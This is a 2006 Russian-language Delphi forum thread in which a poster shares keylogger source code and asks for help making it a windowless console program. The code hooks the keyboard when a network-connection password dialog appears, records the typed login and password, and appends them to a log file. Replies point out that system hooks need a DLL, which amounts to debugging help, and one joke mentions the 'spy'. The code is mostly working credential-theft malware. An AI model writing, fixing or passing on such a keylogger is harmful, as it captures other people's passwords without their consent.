Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Помогите уменьшить прогу [D6, WinXP]


ArcSin ©   (2006-04-17 20:25:00) 

У меня есть работающая прога но она с окном (оно не используется как таковое) хочу переделать в консольное приложение помогите пожалуйста
или укажите на ошибку

Клавиатурный шпион активизируется при появлении окна ввода пароля

Вот часть Юнита работающей проги
*************************************************************
const
Caption='Подключение к 191.168.0.2';
var
 Form1: TForm1;   h:hhook;  Wnd:Hwnd;  flag,bylo,stalo:boolean;    Nick,Password:string;  SysHook :HHook = 0;

function Proc(code:integer;wParam:WPARAM;lParam:LPARAM)  :lresult;stdcall;
var c:array[0..255] of char;
   nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
 nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
 nscan:=nscan shl 16;
 GetKeyNameText(nScan,c,256);
if  c[1] '' then
begin
if c = 'Tab' then  flag:=true;
if c = 'Space' then c:=' ';
end
else
 if not flag then
 Nick:=Nick+c    
 else Password:=Password+c;
end;
result:=callnexthookex(H,code,wparam,lparam);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
stalo:=FindWindow(nil,'Подключение к 191.168.0.2') 0;
  if (not bylo) and stalo then
  SysHook:=SetWindowsHookEx(0,@Proc,HInstance,0);
  if bylo and (not stalo) then
         begin
         UnHookWindowsHookEx(SysHook);
         SysHook:=0;
         Flag:=false;
         SaveToLog(Nick,Password);
         end;
  bylo:=stalo;
end;

end.
********************************************************************
я попытался это сделать, но новая прога виснет (отмечено "(*)" )
********************************************************************
program nvcvs32;
uses Windows,  Messages,  SySUtils,  Registry;
 const
Caption='Подключение к 191.168.0.2';
 var
SysHook:HHook = 0;
H:HHook = 0;
Wnd:Hwnd;
Flag,bylo,stalo:boolean;
Nick,Password:string;

function Proc(code:integer;wParam:WPARAM;lParam:LPARAM)  :lresult;stdcall;
var c:array[0..255] of char;
   nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
 nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
 nscan:=nscan shl 16;
 GetKeyNameText(nScan,c,256);
if  c[1] '' then
begin
if c = 'Tab' then  flag:=true;
if c = 'Space' then c:=' ';
end
else
 if not flag then
 Nick:=Nick+c    
 else Password:=Password+c;
end;
result:=callnexthookex(H,code,wparam,lparam);
end;

Procedure SaveToLog(Nick,Password:string);
var
f:TextFile;
FileDir:string;
begin
   if (Nick = '') and (Password = '') then exit;
   Filedir:='D:\scan.log';
   AssignFile(f, Filedir);
   if not FileExists(Filedir) then
    begin
     Rewrite(f);
     CloseFile(f);
    end;
   Append(f);
   Writeln(f, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '@:['+Nick+']&{'+Password+'}');
   Flush(f);
   CloseFile(f);
end;

begin
while true do
begin
stalo:=FindWindow(nil,Caption) 0;
  if (not bylo) and stalo then
  SysHook:=SetWindowsHookEx(0,@Proc,HInstance,0);         {!!(*)!)
  if bylo and (not stalo) then
         begin
         UnHookWindowsHookEx(SysHook);
         SysHook:=0;
         Flag:=false;
         SaveToLog(Nick,Password);

         end;
  bylo:=stalo;
  sleep(100);
  end;
end.  

*******************************************************************
напишите если увидели другие ошибки. Заранее благодарю.


Сергей М.   (2006-04-18 10:58:00) [1]


> ArcSin   (17.04.06 20:25)


Справку к WH_JOURNALRECORD-хуку читал ?

Там написано

All systemhook functions must be in libraries.

WH_JOURNALRECORD как раз и есть system-хук (в той же справке это написано).

Где у соблюдение этого условия ?


Rouse_   (2006-04-17 22:52:00) [2]


> if bylo and (not stalo) then

Это пять :)


Eraser   (2006-04-17 20:29:00) [3]


> ArcSin   (17.04.06 20:25)

неужели когда окно (форма) была этот шпийон корректно работал? :)


Наверх

Титульная страница Поиск, карта сайта Написать письмо